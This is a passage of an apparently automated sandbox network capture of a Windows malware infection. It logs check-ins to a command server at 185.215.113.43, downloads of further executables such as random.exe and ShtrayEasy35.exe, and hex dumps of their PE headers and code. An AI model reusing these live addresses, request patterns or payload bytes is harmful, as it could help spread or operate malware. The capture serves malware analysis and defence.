mode.$PELbYg`J@Ji@T0h 1 H@.rsrc X@.idata 0\@ *@^@jqjwcvpd0 0.`@qgvyxvuiPJ@.taggant0`J"@
Dec 15, 2024 11:59:48.469351053 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 15, 2024 11:59:48.469377041 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 15, 2024 11:59:48.469392061 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 15, 2024 11:59:48.469405890 CET	1236	IN	Data Raw: 8e 4b 7a 47 79 1f 18 a2 39 ea de 24 e2 10 da d5 1d 32 9e f5 74 90 71 48 94 0d 9a 8e 51 91 a5 67 2b 10 7d c5 04 0e b3 4d 86 8c 1d 5c 76 48 14 ad c6 57 54 0f 42 5f 19 15 c2 18 80 8d 1f 64 86 c9 bc 7a e6 08 ac 95 f4 30 fe 97 59 39 f5 55 19 cc f3 97 Data Ascii: KzGy9$2tqHQg+}M\vHWTB_dz0Y9UsD5]rV.~o`P~2!a&8R3=0Es\G&UbwvPP535<D7((\==s":?-yf;S9mtStdJ
Dec 15, 2024 11:59:48.469420910 CET	1236	IN	Data Raw: 37 f7 b0 f5 22 6c 5d 0f 70 e0 d5 08 26 35 9a 4a d6 ea e4 34 3e 0c 79 57 63 d0 25 93 6f 86 ef 0a c6 c8 34 3e 13 12 23 6e 26 bc 41 04 fc 18 da d0 d3 f0 1b f7 ad e0 66 f7 e5 18 c7 ce de 4f dc 74 73 44 01 0b 76 1d c5 1c 91 f7 a3 26 32 99 a3 2a 6c eb Data Ascii: 7"l]p&5J4>yWc%o4>#n&AfOtsDv&2*lpmioY03.G}V_M;Xtp2%Mi`oY)WRm+BzHnO!1odp" ;;sa3rBE#
Dec 15, 2024 11:59:48.469436884 CET	1236	IN	Data Raw: 35 5a 52 09 1b 78 de 54 b4 48 b1 5b cd 43 02 df 3b b9 8b 04 da 14 b5 f7 10 20 63 0c cf d2 91 2b 7e 41 b2 63 3a 1b ef 0e 35 78 27 f6 c2 ca fa 9c 6b e0 79 8f 00 c8 54 ac f8 68 5a 2b 69 25 a6 f0 c5 21 bf 44 8b 4c 20 f2 51 db 5b 4f 3f bb a2 b3 f9 46 Data Ascii: 5ZRxTH[C; c+~Ac:5x'kyThZ+i%!DL Q[O?FD;i^E!3nu/\Z NV&ts27&K$hdD{0u6^2b/5RSHS*>]_`jq#R>S%X7PM([SpQ"a'_1w{
Dec 15, 2024 11:59:48.469594955 CET	1236	IN	Data Raw: 03 91 fb 5f 73 14 a6 ec a2 60 03 7c 84 48 0f 0b a6 c5 19 20 2d 1f 31 35 74 65 5c 0d 9a 37 4a d3 eb 1d b5 a7 3b 98 ce 5c e6 69 7a 24 56 3c 55 58 22 27 df 4e 40 b6 41 14 df 9e 13 b8 5e 64 53 e8 ec 22 c5 be b1 14 5d d2 4b 95 cc 83 bb 5a 31 5d 82 0a Data Ascii: _s`\|H -15te\7J;\iz$V<UX"'N@A^dS"]KZ1]eR[=%>`?hr\I(LJ>%t<H[(!D\|`y{lT8Zx`+^[dv=)E>)JP;71M~.=zSi0<a
Dec 15, 2024 11:59:48.469609976 CET	1236	IN	Data Raw: da d0 ba b4 4c c4 ae 8f f0 a4 59 ed dc 8c ad af 1e 09 4e b3 9f 01 d6 4b a4 8f 89 d1 b5 4e 88 11 ad 7b 96 f7 4f cf 4d 78 09 f7 dc f2 84 31 e4 32 48 a9 fa bf d0 df d0 84 2e 43 53 1b 01 7d 12 34 12 ae da e2 3e 12 d3 35 e1 0e c3 c8 81 66 d1 14 19 8d Data Ascii: LYNKN{OMx12H.CS}4>5fz=R)baK`kGy5eodhH6%z:O(4n77D4Eg{(*?bu)!6:$H,~y)wB3'.
Dec 15, 2024 11:59:48.469624043 CET	1236	IN	Data Raw: d9 8c 51 8f 28 1a 7b f4 f9 39 b8 9e 59 52 cb 31 55 8f 7c e4 a6 a9 08 e8 2d 89 b2 04 92 4e db 66 e3 40 dd 8a b4 37 61 42 09 77 12 69 8d 05 5a 06 e0 1c b2 44 0a 50 22 44 7e 80 e2 b4 fd 40 4a 74 bd 94 91 be 36 3f 48 cd c4 6e a1 ba 3c 50 fb 2a 20 d2 Data Ascii: Q({9YR1U\|-Nf@7aBwiZDP"D~@Jt6?Hn<P* :b!Pu;Q>26,&$ra;6O..fyp5)tPAz\|Y74$3YF'W3%v}D'$N]dR)WxY-[jzhn
Dec 15, 2024 11:59:48.589216948 CET	1236	IN	Data Raw: b9 52 b6 34 e5 ee 60 03 12 66 ef 7a 56 06 40 16 54 08 5a 8a bd 0a b5 4b be 54 a7 d5 1e 55 ea 25 5e 7e bc f2 04 14 30 08 34 3d d5 cf cd ef 31 f8 1e e5 ce df ad f8 5d d2 8f 6b 9c 20 d5 88 c9 8f 73 a3 04 6d d3 40 cc e4 48 5e c3 cd e7 2d 31 eb e2 f2 Data Ascii: R4`fzV@TZKTU%^~04=1]k sm@H^-1(AA2IGKf7c:'&%GWaZ63@P#\gg]q{.C7ps#RnD:"HaPg&V[\|xK!lzzMT9=U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49871	185.215.113.43	80	8064	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 15, 2024 11:59:55.041430950 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 35 35 36 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015567001&unit=246122658369
Dec 15, 2024 11:59:56.366389990 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 15 Dec 2024 10:59:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49876	185.215.113.16	80	8064	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 15, 2024 11:59:56.923134089 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 15, 2024 11:59:58.248205900 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 15 Dec 2024 10:59:57 GMT Content-Type: application/octet-stream Content-Length: 1831936 Last-Modified: Sun, 15 Dec 2024 10:11:18 GMT Connection: keep-alive ETag: "675eab46-1bf400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 00 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 6a 00 00 04 00 00 a0 f1 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTgj@0j@M$a$$ $h@.rsrc$x@.idata $z@ $\|@srjxsfrrPOP~@swghvbpai@.taggant0j"@
Dec 15, 2024 11:59:58.248241901 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 15, 2024 11:59:58.248264074 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 15, 2024 11:59:58.248280048 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 15, 2024 11:59:58.248296022 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Rj*Kem^Q/VTg
Dec 15, 2024 11:59:58.248311996 CET	1236	IN	Data Raw: f2 f2 4b 45 a1 c6 56 a3 48 97 da 34 fb ea c9 bc 4a ab f6 95 48 14 53 ef b1 fe ca c3 49 e4 46 34 30 aa 02 3f f3 07 4f 02 f2 d6 ab 98 30 8a d4 02 6c dd 7e 51 0e 2f d5 6b ad 46 49 bc d8 0a 0e 65 c8 fc 5a 59 25 75 05 c1 4b 3c 70 85 32 26 23 b9 37 0c Data Ascii: KEVH4JHSIF40?O0l~Q/kFIeZY%uK<p2&#7D_6K:Fl@qu&JJLmbCsOr"TM"oU2@?P=k^@T+jK]OOTNyCP\._n@f,^
Dec 15, 2024 11:59:58.248327971 CET	172	IN	Data Raw: 78 26 fd 11 ad 4d 2f 4c e6 1a 1e 1f d4 2c a5 26 14 85 0f 66 55 8c ff 8e 40 b9 36 5f 72 45 80 ed 4a 81 5d 2d 1a dd da d5 1e 0a 3d f1 08 10 25 43 28 ba b4 c8 38 e6 55 25 23 8a c9 e2 e9 7d d8 cd 32 de 95 e7 f2 b5 66 d3 9e 61 54 b1 9f d9 03 4a f8 0a Data Ascii: x&M/L,&fU@6_rEJ]-=%C(8U%#}2faTJwmFiNWNzG(r:> \|>&#i+gh(n&j$=J5@>>M
Dec 15, 2024 11:59:58.248390913 CET	1236	IN	Data Raw: a8 4e 7e 3d 3a 8c ee 00 eb 1b 34 11 bc 16 36 92 5f ee b3 5a c4 1c 31 0c c5 66 35 59 89 88 28 ff 8a 84 df 9b 4d c3 16 1a 9c 39 7a ea e9 41 6e a2 90 41 f5 15 a4 b2 26 47 9a 9b 95 de 4b 05 a7 01 5c 11 bc c5 0c 47 79 c5 a8 f8 42 12 13 86 75 a5 b6 8e Data Ascii: N~=:46_Z1f5Y(M9zAnA&GK\GyBu?C)T@re'rWUB%pi>UKvKy3*XFW~S#kp@H$BQl]`C4K0AJR7kFbfM(?0kg4IGA
Dec 15, 2024 11:59:58.248405933 CET	224	IN	Data Raw: e8 57 be 70 3f f2 ba 1c 7c 63 35 7b fb 01 35 fd a5 84 ca 9e f1 b8 54 b1 b8 85 c2 26 f0 da 45 91 a9 7d ff d0 dc aa 4c 1c de 88 06 85 2f 62 cb 70 d8 0a a3 21 38 79 6a e5 29 b0 32 51 74 84 a2 d7 2f c6 8e 70 6c b2 b2 ed a8 4b 4e 75 25 a2 d6 1c 98 8a Data Ascii: Wp?\|c5{5T&E}L/bp!8yj)2Qt/plKNu%Qm'!>R]\Z9J.J4.M4Z/NMyMy:DN5<t#\VTID<5@s`,XtX34]
Dec 15, 2024 11:59:58.248425007 CET	1236	IN	Data Raw: bf ea cf 55 35 2a cf 50 3b 3e 44 d8 29 c7 c2 a8 3c b6 26 1c 43 1e c6 e9 40 d0 a4 5a 68 b3 92 6a ac c6 cc b2 9c 03 95 22 e2 b0 f2 05 b4 dc 34 ab b0 b0 4e 4d ab b6 98 4e 78 fc ba 05 30 23 19 6e 2e 4a 00 ed a5 36 51 ee ce c4 5d 05 f4 06 97 ea eb 87 Data Ascii: U5*P;>D)<&C@Zhj"4NMNx0#n.J6Q]Qr.0HLM/ PHXi?\3opUbGMTeo`0kYr^B(6CZFX\V0"LwL+XF8.C>/;04/=`M493um
Dec 15, 2024 11:59:58.368360043 CET	1236	IN	Data Raw: a8 0b b2 6a 40 32 33 92 30 1a c3 93 72 16 4e 00 88 e1 40 01 26 f2 9e 47 80 06 55 81 a4 dc 40 71 39 9a 56 1f 42 8a bf 42 80 f5 fe ae 27 9c d5 3a 51 8c a2 ee 2f 42 55 33 33 f9 55 6c 22 b0 c6 05 bc 8a 82 ee e9 80 68 74 51 e2 58 0b ab 0b 39 6d d8 7e Data Ascii: j@230rN@&GU@q9VBB':Q/BU33Ul"htQX9m~U}iT0FNCV/T0PPj,ZC7/U-WG}EP0JK;?I^SVX1Pj+kj=c[+jCq4PjFj;5}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49888	185.215.113.43	80	8064	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 15, 2024 12:00:04.412364960 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 35 35 36 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015568001&unit=246122658369
Dec 15, 2024 12:00:05.682511091 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 15 Dec 2024 11:00:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49777	104.21.51.88	443	4324	C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-15 10:59:17 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: shineugler.biz
2024-12-15 10:59:17 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-15 10:59:18 UTC	1017	IN	HTTP/1.1 200 OK Date: Sun, 15 Dec 2024 10:59:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kfl5a36mitm40bda4546n6tqkb; expires=Thu, 10-Apr-2025 04:45:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AsOnejtKIDdiYWhqwARpLAj8ImjPDbH4T7EcHlFWryr8%2FTMzmSEEQNhOgratcmdYd5%2Bh41OVbqrBu31NkCFx1gW04gG6I5aRWAG%2F0YNV%2Bx10lk0%2BWzdjeZlxaOqkOPdWow%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f25ec62eafef5f6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1812&min_rtt=1705&rtt_var=716&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=905&delivery_rate=1712609&cwnd=175&unsent_bytes=0&cid=14f395726fbd15c7&ts=745&x=0"
2024-12-15 10:59:18 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-12-15 10:59:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49784	172.67.207.38	443	4324	C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-15 10:59:19 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: immureprech.biz
2024-12-15 10:59:19 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-15 10:59:20 UTC	1011	IN	HTTP/1.1 200 OK Date: Sun, 15 Dec 2024 10:59:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bari5iuk766bpnj0ds9kbun1ri; expires=Thu, 10-Apr-2025 04:45:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lk0%2Fii8z2ru0IFpCDFfVEN7UUsXDzNtYafAlmK%2BdFXfAvOScBwzEtw8WPCnR%2FrOWyjOQsDQxYl7fO2TiPAboHkrK64hLgZfWOzQZqMWRzHHeKbC3XD6IT7pOhG7pJ8Tr4I8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f25ec713df05e82-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2069&min_rtt=2062&rtt_var=787&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=906&delivery_rate=1377358&cwnd=216&unsent_bytes=0&cid=f78255f827e79432&ts=743&x=0"
2024-12-15 10:59:20 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-12-15 10:59:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49785	172.67.218.51	443	8064	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-15 10:59:20 UTC	78	OUT	GET /ShtrayEasy35.exe HTTP/1.1 Host: hansgborn.eu Connection: Keep-Alive
2024-12-15 10:59:20 UTC	934	IN	HTTP/1.1 200 OK Date: Sun, 15 Dec 2024 10:59:20 GMT Content-Type: application/octet-stream Content-Length: 262656 Connection: close Last-Modified: Sun, 15 Dec 2024 10:34:21 GMT ETag: "675eb0ad-40200" X-Content-Type-Options: nosniff Cache-Control: max-age=120 CF-Cache-Status: HIT Age: 307 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XgHSLcimx35h3qV3%2FMMTkx8jNFAtKtVtX2N9ELE9KLZflFN0pSFtwfagMXXnTPZeiBamLX94F4V4Ax1ezchVYCK7MdojGVCAFEWyuID0UpnKhAGBPpzgNspTPCqwY4s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f25ec741c137cf9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2215&min_rtt=2010&rtt_var=900&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=692&delivery_rate=1452736&cwnd=207&unsent_bytes=0&cid=ff92c7956b9e62ee&ts=451&x=0"
2024-12-15 10:59:20 UTC	435	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a3 3b b7 26 e7 5a d9 75 e7 5a d9 75 e7 5a d9 75 ac 22 da 74 ec 5a d9 75 ac 22 dc 74 53 5a d9 75 f6 dc da 74 f1 5a d9 75 f6 dc dd 74 f5 5a d9 75 f6 dc dc 74 bc 5a d9 75 ac 22 dd 74 f1 5a d9 75 ac 22 d8 74 f6 5a d9 75 e7 5a d8 75 5a 5a d9 75 66 dc d0 74 e2 5a d9 75 66 dc 26 75 e6 5a d9 75 66 dc db 74 e6 5a d9 75 52 69 63 68 e7 5a d9 75 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$;&ZuZuZu"tZu"tSZutZutZutZu"tZu"tZuZuZZuftZuf&uZuftZuRichZuPEL
2024-12-15 10:59:20 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 28 a0 03 00 40 00 00 00 00 00 00 00 00 00 00 00 00 20 03 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 76 0b 03 00 00 10 00 00 00 0c 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 52 b8 00 00 00 20 03 00 00 ba 00 00 00 10 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 f0 20 00 00 00 e0 03 00 00 12 00 00 00 ca 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 10 04 00 00 02 00 00 00 dc 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 00 23 00 00 00 20 04 00 00 24 00 00 00 de 03 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: (@ 8.textv `.rdataR @@.data @.rsrc@@.reloc# $
2024-12-15 10:59:20 UTC	1369	IN	Data Raw: 43 00 8b f0 8b cf e8 99 d9 00 00 6a 00 56 8b cf c7 05 30 f2 43 00 48 31 43 00 e8 65 cf 00 00 68 3a 1b 43 00 e8 35 07 01 00 59 5f 5e c3 b9 d9 f1 43 00 e9 af f4 00 00 b9 d8 f1 43 00 e8 7f f3 00 00 68 44 1b 43 00 e8 13 07 01 00 59 c3 68 4e 1b 43 00 e8 07 07 01 00 59 c3 68 58 1b 43 00 e8 fb 06 01 00 59 c3 68 62 1b 43 00 e8 ef 06 01 00 59 c3 b9 b8 f4 43 00 e8 45 f3 00 00 68 6c 1b 43 00 e8 d9 06 01 00 59 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 83 ec 0c a1 c0 e0 43 00 33 c5 89 45 fc 8b 55 08 8d 45 f4 56 8b f1 89 55 f4 8d 4e 04 c6 45 f8 01 51 0f 57 c0 c7 06 2c 24 43 00 50 66 0f d6 01 e8 36 16 01 00 8b 4d fc 83 c4 08 8b c6 33 cd 5e e8 cb 01 01 00 8b e5 5d c2 04 00 cc cc cc 55 8b ec 56 8b f1 0f 57 c0 8d 46 04 50 c7 06 2c 24 43 00 66 0f d6 00 8b 45 08 83 Data Ascii: CjV0CH1Ceh:C5Y_^CChDCYhNCYhXCYhbCYCEhlCYUC3EUEVUNEQW,$CPf6M3^]UVWFP,$CfE
2024-12-15 10:59:20 UTC	1369	IN	Data Raw: 57 c0 c7 06 2c 24 43 00 50 66 0f d6 00 8d 4d dc 0f 47 4d dc 8d 45 f4 50 89 4d f4 c6 45 f8 01 e8 84 11 01 00 8b 4d f0 83 c4 08 c7 06 84 24 43 00 83 f9 0f 76 28 8b 55 dc 41 8b c2 81 f9 00 10 00 00 72 10 8b 50 fc 83 c1 23 2b c2 83 c0 fc 83 f8 1f 77 2b 51 52 e8 31 fd 00 00 83 c4 08 8b 4d fc 8b c6 89 7e 10 33 cd 5f 89 5e 0c c7 06 54 30 43 00 5e 5b e8 d5 fc 00 00 8b e5 5d c2 08 00 e8 17 48 01 00 cc cc cc cc cc cc cc cc 55 8b ec 83 ec 20 8d 4d f8 ba 16 00 00 00 e8 1d fd ff ff 8d 4d e4 ff 70 04 ff 30 e8 20 ff ff ff 68 e4 c9 43 00 8d 45 e4 50 e8 52 13 01 00 cc cc 55 8b ec 56 8b 75 08 0f 57 c0 57 8b f9 8d 47 04 50 c7 07 2c 24 43 00 66 0f d6 00 8d 46 04 50 e8 c9 10 01 00 c7 07 48 30 43 00 83 c4 08 8b 46 0c 8b 4e 10 89 47 0c 8b c7 89 4f 10 c7 07 54 30 43 00 5f 5e 5d Data Ascii: W,$CPfMGMEPMEM$Cv(UArP#+w+QR1M~3_^T0C^[]HU MMp0 hCEPRUVuWWGP,$CfFPH0CFNGOT0C_^]
2024-12-15 10:59:20 UTC	1369	IN	Data Raw: ab 8b 4d e0 8b 45 e8 33 d2 66 89 14 48 eb 15 6a 00 52 c6 45 e8 00 8b ce ff 75 e8 52 e8 41 2c 00 00 8b 4d e0 83 7e 14 07 8b c6 76 02 8b 06 51 50 ff 73 0c ff 73 08 ff 75 d8 e8 f8 db 00 00 85 d2 75 2c 8b c6 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 8b 4d ec 33 cd e8 99 f7 00 00 8b e5 5d 8b e3 5b c3 e8 cb fa ff ff 8b ca e8 64 fd ff ff 8b ca e8 5d fd ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 53 56 8b f2 2b f1 d1 fe 57 83 fe 02 0f 8c f9 00 00 00 8b 01 8b d8 0f b7 f8 83 e0 df 2d 41 00 3a 00 c1 eb 10 83 f8 1a 73 0a 5f 5e 8d 41 04 5b 8b e5 5d c3 8b c7 83 f8 5c 74 09 83 f8 2f 0f 85 c8 00 00 00 8b fb 83 fe 04 7c 70 0f b7 79 06 8d 41 06 89 7d fc 83 ff 5c 74 09 66 83 7d fc 2f 8b fb 75 58 83 fe 04 74 19 0f b7 41 08 83 f8 5c 0f 84 93 00 00 00 83 f8 2f 0f 84 Data Ascii: ME3fHjREuRA,M~vQPssuu,MdY_^M3][d]UQSV+W-A:s_^A[]\t/\|pyA}\tf}/uXtA\/
